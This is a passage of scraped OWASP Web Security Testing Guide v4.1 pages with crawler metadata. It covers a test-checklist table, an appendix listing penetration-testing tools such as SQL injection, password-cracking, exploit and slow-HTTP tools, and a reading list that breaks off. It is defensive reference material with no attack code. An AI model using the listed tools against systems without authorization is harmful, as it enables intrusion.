Testing for Bypassing Authentication Schema | | | |\n| WSTG-ATHN-05 | Testing for Vulnerable Remember Password | | | |\n| WSTG-ATHN-06 | Testing for Browser Cache Weakness | | | |\n| WSTG-ATHN-07 | Testing for Weak Password Policy | | | |\n| WSTG-ATHN-08 | Testing for Weak Security Question Answer | | | |\n| WSTG-ATHN-09 | Testing for Weak Password Change or Reset Functionalities | | | |\n| WSTG-ATHN-10 | Testing for Weaker Authentication in Alternative Channel | | | |\n| **WSTG-ATHZ** | **Authorization Testing** | | | |\n| WSTG-ATHZ-01 | Testing Directory Traversal - File Include | | | |\n| WSTG-ATHZ-02 | Testing for Bypassing Authorization Schema | | | |\n| WSTG-ATHZ-03 | Testing for Privilege Escalation | | | |\n| WSTG-ATHZ-04 | Testing for Insecure Direct Object References | | | |\n| **WSTG-SESS** | **Session Management Testing** | | | |\n| WSTG-SESS-01 | Testing for Bypassing Session Management Schema | | | |\n| WSTG-SESS-02 | Testing for Cookies Attributes | | | |\n| WSTG-SESS-03 | Testing for Session Fixation | | | |\n| WSTG-SESS-04 | Testing for Exposed Session Variables | | | |\n| WSTG-SESS-05 | Testing for Cross Site Request Forgery | | | |\n| WSTG-SESS-06 | Testing for Logout Functionality | | | |\n| WSTG-SESS-07 | Test Session Timeout | | | |\n| WSTG-SESS-08 | Testing for Session Puzzling | | | |\n| **WSTG-INPV** | **Input Validation Testing** | | | |\n| WSTG-INPV-01 | Testing for Reflected Cross Site Scripting | | | |\n| WSTG-INPV-02 | Testing for Stored Cross Site Scripting | | | |\n| WSTG-INPV-03 | Testing for HTTP Verb Tampering | | | |\n| WSTG-INPV-04 | Testing for HTTP Parameter pollution | | | |\n| WSTG-INPV-05 | Testing for SQL Injection | | | |\n| | Oracle | | | |\n| | MySQL | | | |\n| | SQL Server | | | |\n| | PostgreSQL | | | |\n| | MS Access | | | |\n| | NoSQL | | | |\n| | ORM | | | |\n| | Client Side | | | |\n| WSTG-INPV-06 | Testing for LDAP Injection | | | |\n| WSTG-INPV-07 | Testing for XML Injection | | | |\n| WSTG-INPV-08 | Testing for SSI Injection | | | |\n| WSTG-INPV-09 | Testing for XPath Injection | | | |\n| WSTG-INPV-10 | IMAP/SMTP Injection | | | |\n| WSTG-INPV-11 | Testing for Code Injection | | | |\n| | Testing for Local File Inclusion | | | |\n| | Testing for Remote File Inclusion | | | |\n| WSTG-INPV-12 | Testing for Command Injection | | | |\n| WSTG-INPV-13 | Testing for Buffer overflow | | | |\n| | Testing for Heap Overflow | | | |\n| | Testing for Stack Overflow | | | |\n| | Testing for Format String | | | |\n| WSTG-INPV-14 | Testing for Incubated Vulnerabilities | | | |\n| WSTG-INPV-15 | Testing for HTTP Splitting/Smuggling | | | |\n| WSTG-INPV-16 | Testing for HTTP Incoming Requests | | | |\n| WSTG-INPV-17 | Testing for Host Header Injection | | | |\n| WSTG-INPV-18 | Testing for Server Side Template Injection | | | |\n| **WSTG-ERRH** | **Error Handling** | | | |\n| WSTG-ERRH-01 | Analysis of Error Codes | | | |\n| WSTG-ERRH-02 | Analysis of Stack Traces | | | |\n| **WSTG-CRYP** | **Cryptography** | | | |\n| WSTG-CRYP-01 | Testing for Weak SSL TLS Ciphers Insufficient Transport Layer Protection | | | |\n| WSTG-CRYP-02 | Testing for Padding Oracle | | | |\n| WSTG-CRYP-03 | Testing for Sensitive Information Sent Via Unencrypted Channels | | | |\n| WSTG-CRYP-04 | Testing for Weak Encryption | | | |\n| **WSTG-BUSLOGIC** | **Business Logic Testing** | | | |\n| WSTG-BUSL-01 | Test Business Logic Data Validation | | | |\n| WSTG-BUSL-02 | Test Ability to Forge Requests | | | |\n| WSTG-BUSL-03 | Test Integrity Checks | | | |\n| WSTG-BUSL-04 | Test for Process Timing | | | |\n| WSTG-BUSL-05 | Test Number of Times a Function Can be Used Limits | | | |\n| WSTG-BUSL-06 | Testing for the Circumvention of Work Flows | | | |\n| WSTG-BUSL-07 | Test Defenses Against Application Misuse | | | |\n| WSTG-BUSL-08 | Test Upload of Unexpected File Types | | | |\n| WSTG-BUSL-09 | Test Upload of Malicious Files | | | |\n| **WSTG-CLIENT** | **Client Side Testing** | | | |\n| WSTG-CLNT-01 | Testing for DOM based Cross Site Scripting | | | |\n| WSTG-CLNT-02 | Testing for JavaScript Execution | | | |\n| WSTG-CLNT-03 | Testing for HTML Injection | | | |\n| WSTG-CLNT-04 | Testing for Client Side URL Redirect | | | |\n| WSTG-CLNT-05 | Testing for CSS Injection | | | |\n| WSTG-CLNT-06 | Testing for Client Side Resource Manipulation | | | |\n| WSTG-CLNT-07 | Test Cross Origin Resource Sharing | | | |\n| WSTG-CLNT-08 | Testing for Cross Site Flashing | | | |\n| WSTG-CLNT-09 | Testing for Clickjacking | | | |\n| WSTG-CLNT-10 | Testing WebSockets | | | |\n| WSTG-CLNT-11 | Test Web Messaging | | | |\n| WSTG-CLNT-12 | Test Local Storage | | | |\n| WSTG-CLNT-13 | Testing for Cross Site Script Inclusion | | | |\n\n## Appendix\n\nThis section is often used to describe the commercial and open-source tools that were used in conducting the assessment. When custom scripts or code are utilized during the assessment, it should be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It gives them an idea of the thoroughness of the assessment and what areas were included.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9816, "slov": 1488, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:36", "sha256": "3eef2fdf68a3beb4756948e312751adecdbf1aae70b63beaecb8fb1e19ef7aec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.first.org/cvss", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/A-Testing_Tools_Resource", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/A-Testing_Tools_Resource", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/A-Testing_Tools_Resource", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing Tools Resource"}, {"uroven": 2, "text": "General Testing"}, {"uroven": 3, "text": "Testing for Specific Vulnerabilities"}, {"uroven": 4, "text": "Testing for JavaScript Security, DOM XSS"}, {"uroven": 4, "text": "Testing for SQL Injection"}, {"uroven": 4, "text": "Testing Oracle"}, {"uroven": 4, "text": "Testing SSL"}, {"uroven": 4, "text": "Testing for Brute Force Password"}, {"uroven": 4, "text": "Testing Buffer Overflow"}, {"uroven": 4, "text": "Fuzzer"}, {"uroven": 4, "text": "Googling"}, {"uroven": 4, "text": "Slow HTTP"}, {"uroven": 2, "text": "Commercial Black-Box Testing Tools"}, {"uroven": 3, "text": "Linux Distrubtion"}, {"uroven": 2, "text": "Source Code Analyzers"}, {"uroven": 3, "text": "Open Source / Freeware"}, {"uroven": 3, "text": "Commercial"}, {"uroven": 2, "text": "Acceptance Testing Tools"}, {"uroven": 3, "text": "Open Source Tools"}, {"uroven": 2, "text": "Other Tools"}, {"uroven": 3, "text": "Binary Analysis"}, {"uroven": 3, "text": "Site Mirroring"}], "markdown": "# WSTG - v4.1\n\n# Testing Tools Resource\n\n## General Testing\n\n- [OWASP ZAP](https://www.zaproxy.org)\n - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.\n - ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n- [Burp Proxy](https://www.portswigger.net/Burp/)\n - Burp Proxy is an intercepting proxy server for security testing of web applications it allows Intercepting and modifying all HTTP(S) traffic passing in both directions, it can work with custom SSL certificates and non-proxy-aware clients.\n- [Webstretch Proxy](https://sourceforge.net/projects/webstretch)\n - Webstretch Proxy enable users to view and alter all aspects of communications with a web site via a proxy. It can also be used for debugging during development.\n- [Firefox HTTP Header Live](https://addons.mozilla.org/en-US/firefox/addon/http-header-live)\n - View HTTP headers of a page and while browsing.\n- [Firefox Tamper Data](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/)\n - Use tamperdata to view and modify HTTP/HTTPS headers and post parameters\n- [Firefox Web Developer Tools](https://addons.mozilla.org/en-US/firefox/addon/web-developer/)\n - The Web Developer extension adds various web developer tools to the browser.\n- [DOM Inspector](https://developer.mozilla.org/en/docs/DOM_Inspector)\n - DOM Inspector is a developer tool used to inspect, browse, and edit the Document Object Model (DOM)\n- [Grendel-Scan](https://sourceforge.net/projects/grendel/)\n - Grendel-Scan is an automated security scanning of web applications and also supports manual penetration testing.\n - SWFIntruder (pronounced Swiff Intruder) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.\n- [w3af](https://w3af.org)\n - w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.\n- [skipfish](https://code.google.com/p/skipfish/)\n - Skipfish is an active web application security reconnaissance tool.\n- [Web Developer toolbar](https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm)\n - The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.\n- [HTTP Request Maker](https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US)\n - Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests\n- [Cookie Editor](https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US)\n - Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies\n- [Cookie swap](https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US)\n - Swap My Cookies is a session manager, it manages cookies, letting you login on any website with several different accounts.\n- [Session Manager](https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc)\n - With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.\n- [Subgraph Vega](https://subgraph.com/vega/)\n - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.\n\n### Testing for Specific Vulnerabilities\n\n#### Testing for JavaScript Security, DOM XSS\n\n- [BlueClosure BC Detect](https://www.blueclosure.com)\n\n#### Testing for SQL Injection\n\n- [Sqlninja: a SQL Server Injection & Takeover Tool](https://sourceforge.net/projects/sqlninja/)\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](http://sqlmap.org/)\n- [Absinthe 1.1 (formerly SQLSqueal)](https://sourceforge.net/projects/absinthe/)\n- [SQLInjector - Uses inference techniques to extract data and determine the backend database server](https://github.com/p4pentest/SQLInjector)\n- [Bsqlbf-v2: A perl script allows extraction of data from Blind SQL Injections](https://code.google.com/p/bsqlbf-v2/)\n- [Pangolin: An automatic SQL injection penetration testing tool](https://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/)\n- [Multiple DBMS Sql Injection tool - SQL Power Injector](http://www.sqlpowerinjector.com/)\n\n#### Testing Oracle\n\n- [Toad for Oracle](https://www.quest.com/toad)\n\n#### Testing SSL\n\n- [O-Saft](https://github.com/OWASP/O-Saft)\n- [sslyze](https://github.com/iSECPartners/sslyze)\n- [TestSSLServer](https://www.bolet.org/TestSSLServer/)\n- [SSLScan](https://sourceforge.net/projects/sslscan/)\n- [SSLScan windows](https://github.com/rbsec/sslscan/releases)\n- [SSLLabs](https://www.ssllabs.com/ssltest/)\n\n#### Testing for Brute Force Password\n\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n- [John the Ripper](https://www.openwall.com/john/)\n- [Medusa](https://github.com/jmk-foofus/medusa)\n- [Ncat](https://nmap.org/ncat/)\n- [HashCat](https://hashcat.net/hashcat/#features-algos)\n- [fgdump](http://foofus.net/goons/fizzgig/fgdump/)\n- [Password Dictionary](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)\n\n#### Testing Buffer Overflow\n\n- [OllyDbg](http://www.ollydbg.de)\n - “A windows based debugger used for analyzing buffer overflow vulnerabilities”\n- [Spike](https://www.immunitysec.com/downloads/SPIKE2.9.tgz)\n - A fuzzer framework that can be used to explore vulnerabilities and perform length testing\n- [Brute Force Binary Tester (BFB)](https://sourceforge.net/projects/bfbtester/)\n - A proactive binary checker\n- [Metasploit](https://www.metasploit.com/)\n - A rapid exploit development and Testing frame work\n\n#### Fuzzer\n\n- [Wfuzz](http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/)\n\n#### Googling\n\n- [Bishop Fox’s Google Hacking Diggity Project](https://resources.bishopfox.com/resources/tools/google-hacking-diggity/)\n- [Google Hacking database](https://www.exploit-db.com/google-hacking-database/)\n\n#### Slow HTTP\n\n- [Slowloris](https://github.com/gkbrk/slowloris)\n- [slowhttptest](https://github.com/shekyan/slowhttptest)\n\n## Commercial Black-Box Testing Tools\n\n- [NGS Typhon](https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/)\n- [IBM AppScan](https://www.ibm.com/hk-en/security/application-security/appscan)\n- [Burp Intruder](https://portswigger.net/burp)\n- [Acunetix Web Vulnerability Scanner](https://www.acunetix.com)\n- [MaxPatrol Security Scanner](https://www.ptsecurity.com/ww-en/products/maxpatrol/)\n- [Parasoft SOAtest (more QA-type tool)](https://www.parasoft.com/products/soatest)\n- [N-Stalker Web Application Security Scanner](https://www.nstalker.com)\n- [SoapUI (Web Service security testing)](https://www.soapui.org/security-testing/getting-started.html)\n- [Netsparker](https://www.netsparker.com/web-vulnerability-scanner/)\n- [SAINT](https://www.carson-saint.com/)\n- [QualysGuard WAS](https://www.qualys.com/apps/web-app-scanning/)\n- [IndusGuard Web](https://www.indusface.com/products/application-security/web-application-scanning/)\n\n### Linux Distrubtion\n\n- [PenTestBox](https://pentestbox.org/)\n- [Samurai](https://sourceforge.net/p/samurai/wiki/Home/)\n- [Santoku](https://sourceforge.net/projects/santoku/)\n- [ParrotSecurity](https://www.parrotsec.org/)\n- [Kali](https://www.kali.org/)\n- [Matriux](https://sourceforge.net/projects/matriux/?source=navbar)\n- [BlackArch](https://blackarch.org/downloads.html)\n- [PenToo](https://www.pentoo.ch/download/)\n\n## Source Code Analyzers\n\n### Open Source / Freeware\n\n- [Spotbugs](https://spotbugs.github.io/)\n- [Find Security Bugs](https://find-sec-bugs.github.io/)\n- [FlawFinder](https://dwheeler.com/flawfinder/)\n- [phpcs-security-audit](https://github.com/squizlabs/PHP_CodeSniffer)\n- [PMD](https://pmd.github.io/)\n- [Microsoft’s FxCop](https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019)\n- [Oedipus](https://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/)\n- [Splint](https://splint.org/)\n- [SonarQube](https://www.sonarqube.org/)\n- [W3af](https://w3af.org/)\n\n### Commercial\n\n- [Checkmarx CxSuite](https://www.checkmarx.com/)\n- [GrammaTech](https://www.grammatech.com/)\n- [ITS4](https://testarmy.com/en/)\n- [ParaSoft](https://www.parasoft.com/)\n- [Virtual Forge CodeProfiler for ABAP](https://www.virtualforge.com/de/codeprofiler-for-abap)\n- [Veracode](https://www.veracode.com/)\n- [Peach Fuzzer](https://www.peach.tech/)\n- [Burp Suite](https://portswigger.net/burp/)\n\n## Acceptance Testing Tools\n\nAcceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.\n\n- [BDD Security](https://github.com/continuumsecurity/bdd-security)\n\n### Open Source Tools\n\n- [HtmlUnit](http://htmlunit.sourceforge.net)\n - A Java and JUnit based framework that uses the Apache HttpClient as the transport.\n - Very robust and configurable and is used as the engine for a number of other testing tools.\n- [jWebUnit](https://jwebunit.github.io/jwebunit/)\n - A Java based meta-framework that uses htmlunit or selenium as the testing engine.\n- [HttpUnit](http://httpunit.sourceforge.net)\n - One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.\n- [Solex](http://solex.sourceforge.net)\n - An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.\n- [Selenium](https://www.seleniumhq.org/)\n - JavaScript based testing framework, cross-platform and provides a GUI for creating tests.\n - Mature and popular tool, but the use of JavaScript could hamper certain security tests.\n\n## Other Tools\n\n### Binary Analysis\n\n- [BugScam IDC Package](https://sourceforge.net/projects/bugscam/)\n- [Veracode](https://www.veracode.com)\n\n### Site Mirroring\n\n- [wget](https://www.gnu.org/software/wget/)\n- [Wget for windows](http://gnuwin32.sourceforge.net/packages/wget.htm)\n- [curl](https://curl.haxx.se/)\n- [Xenu’s Link Sleuth](http://home.snafu.de/tilman/xenulink.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10859, "slov": 1024, "odkazu": 272, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:36", "sha256": "8a847930171c0da5ba19abf5049e29b96ad9d1ba4ef9ab7372597abbe5658651", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.portswigger.net/Burp/", "https://sourceforge.net/projects/webstretch", "https://addons.mozilla.org/en-US/firefox/addon/http-header-live", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/", "https://addons.mozilla.org/en-US/firefox/addon/web-developer/", "https://developer.mozilla.org/en/docs/DOM_Inspector", "https://sourceforge.net/projects/grendel/", "https://w3af.org/", "https://code.google.com/p/skipfish/", "https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm", "https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US", "https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US", "https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US", "https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc", "https://subgraph.com/vega/", "https://www.blueclosure.com/", "https://sourceforge.net/projects/sqlninja/", "http://sqlmap.org/", "https://sourceforge.net/projects/absinthe/", "https://github.com/p4pentest/SQLInjector", "https://code.google.com/p/bsqlbf-v2/", "https://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/", "http://www.sqlpowerinjector.com/", "https://www.quest.com/toad", "https://github.com/OWASP/O-Saft", "https://github.com/iSECPartners/sslyze", "https://www.bolet.org/TestSSLServer/", "https://sourceforge.net/projects/sslscan/", "https://github.com/rbsec/sslscan/releases", "https://www.ssllabs.com/ssltest/", "https://github.com/vanhauser-thc/thc-hydra", "https://www.openwall.com/john/", "https://github.com/jmk-foofus/medusa", "https://nmap.org/ncat/", "https://hashcat.net/hashcat/", "http://foofus.net/goons/fizzgig/fgdump/", "https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm", "http://www.ollydbg.de/", "https://www.immunitysec.com/downloads/SPIKE2.9.tgz", "https://sourceforge.net/projects/bfbtester/", "https://www.metasploit.com/", "http://www.darknet.org.uk/2007/07/wfuzz-a-tool-for-bruteforcingfuzzing-web-applications/", "https://resources.bishopfox.com/resources/tools/google-hacking-diggity/", "https://www.exploit-db.com/google-hacking-database/", "https://github.com/gkbrk/slowloris", "https://github.com/shekyan/slowhttptest", "https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/", "https://www.ibm.com/hk-en/security/application-security/appscan", "https://portswigger.net/burp", "https://www.acunetix.com/", "https://www.ptsecurity.com/ww-en/products/maxpatrol/", "https://www.parasoft.com/products/soatest", "https://www.nstalker.com/", "https://www.soapui.org/security-testing/getting-started.html", "https://www.netsparker.com/web-vulnerability-scanner/", "https://www.carson-saint.com/", "https://www.qualys.com/apps/web-app-scanning/", "https://www.indusface.com/products/application-security/web-application-scanning/", "https://pentestbox.org/", "https://sourceforge.net/p/samurai/wiki/Home/", "https://sourceforge.net/projects/santoku/", "https://www.parrotsec.org/", "https://www.kali.org/", "https://sourceforge.net/projects/matriux/?source=navbar", "https://blackarch.org/downloads.html", "https://www.pentoo.ch/download/", "https://spotbugs.github.io/", "https://find-sec-bugs.github.io/", "https://dwheeler.com/flawfinder/", "https://github.com/squizlabs/PHP_CodeSniffer", "https://pmd.github.io/", "https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019", "https://www.darknet.org.uk/2006/06/oedipus-open-source-web-application-security-analysis/", "https://splint.org/", "https://www.sonarqube.org/", "https://www.checkmarx.com/", "https://www.grammatech.com/", "https://testarmy.com/en/", "https://www.parasoft.com/", "https://www.virtualforge.com/de/codeprofiler-for-abap", "https://www.veracode.com/", "https://www.peach.tech/", "https://portswigger.net/burp/", "https://github.com/continuumsecurity/bdd-security", "http://htmlunit.sourceforge.net/", "https://jwebunit.github.io/jwebunit/", "http://httpunit.sourceforge.net/", "http://solex.sourceforge.net/", "https://www.seleniumhq.org/", "https://sourceforge.net/projects/bugscam/", "https://www.gnu.org/software/wget/", "http://gnuwin32.sourceforge.net/packages/wget.htm", "https://curl.haxx.se/", "http://home.snafu.de/tilman/xenulink.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/B-Suggested_Reading", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/B-Suggested_Reading", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/6-Appendix/B-Suggested_Reading", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Suggested Reading"}, {"uroven": 2, "text": "Whitepapers"}, {"uroven": 2, "text": "Books"}, {"uroven": 2, "text": "Useful Websites"}, {"uroven": 2, "text": "Videos"}, {"uroven": 2, "text": "Deliberately Insecure Web Applications"}], "markdown": "# WSTG - v4.1\n\n# Suggested Reading\n\n## Whitepapers\n\n- [The Economic Impacts of Inadequate Infrastructure for Software Testing](https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf)\n- [Improving Web Application Security: Threats and Countermeasures](https://www.microsoft.com/en-ca/download/details.aspx?id=1330)\n- [NIST Publications](https://csrc.nist.gov/publications/sp)\n- [Software Assurance: An Overview of Current Practices](https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf)\n- [The OWASP Guide Project](https://wiki.owasp.org/index.php/OWASP_Guide_Project)\n- [Use Cases: Just the FAQs and Answers](https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf)\n\n## Books\n\n- The Art of Software Security Testing: Identifying Software Security Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, published by Addison-Wesley, ISBN 0321304861 (2006)\n- Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002)\n- [The Ethical Hack: A Framework for Business Value Penetration Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)](https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004)](http://www.exploitingsoftware.com)\n- [The Hacker’s Handbook: The Strategy behind Breaking into and Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)](https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010)](http://www.webhackingexposed.com/)\n- The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, 2nd Edition - [published by Dafydd Stuttard, Marcus Pinto, ISBN 9781118026472 (2011)]\n- How to Break Software Security, by James Whittaker, Herbert H. Thompson, published by Addison Wesley, ISBN 0321194330 (2003)\n- How to Break Software: Functional and Security Testing of Web Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)\n- [Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004)](http://innocentcode.thathost.com)\n - [Online version available here](https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- Mastering the Requirements Process, by Suzanne Robertson and James Robertson, published by Addison-Wesley Professional, ISBN 0201360462\n - [Online version available here](https://books.google.com/books?id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false)\n- Secure Coding: Principles and Practices, by Mark Graff and Kenneth R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003)\n- Secure Programming HOWTO, David Wheeler (2015)\n - [Online version available here](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html)\n- [Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999)](http://www.securingjava.com)\n- Software Security: Building Security In, by Gary McGraw, published by Addison-Wesley Professional, ISBN 0321356705 (2006)\n- Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)\n- Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)\n- The Tangled Web: A Guide to Securing Modern Web Applications, by Michael Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)\n- The Unified Modeling Language – A User Guide – by Grady Booch, James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)\n- The Unified Modeling Language User Guide, by Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998)\n- Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)\n- Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2004)\n\n## Useful Websites\n\n- [Build Security In](https://www.us-cert.gov/bsi)\n- [CERT Secure Coding Standards](https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards)\n- [McAfee Foundstone Publications](https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone)\n- [McAfee Free Tools](https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html)\n- [OASIS Web Application Security (WAS) TC](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was)\n- [Open Source Software Testing Tools](https://www.opensourcetesting.org/category/security/)\n- [SANS Internet Storm Center (ISC)](https://isc.sans.edu/)\n- [The Open Web Application Application Security Project (OWASP)](https://owasp.org)\n- [Pentestmonkey - Pen Testing Cheat Sheets](http://pentestmonkey.net/cheat-sheet)\n- [Secure Coding Guidelines for the .NET Framework 4.5](https://docs.microsoft.com/en-us/dotnet/standard/security/secure-coding-guidelines)\n- [Security in the Java platform](https://docs.oracle.com/javase/6/docs/technotes/guides/security/overview/jsoverview.html)\n- [System Administration, Networking, and Security Institute (SANS)](https://www.sans.org)\n- [Web Application Security Consortium](http://www.webappsec.org/projects/)\n- [Web Application Security Scanner List](http://projects.webappsec.org/w/page/13246988/Web%20Application%20Security%20Scanner%20List)\n- [Web Security – Articles](https://www.acunetix.com/blog/category/web-security-zone/)\n- [Testing Client Side Security issues](http://example.com/)\n\n## Videos\n\n- 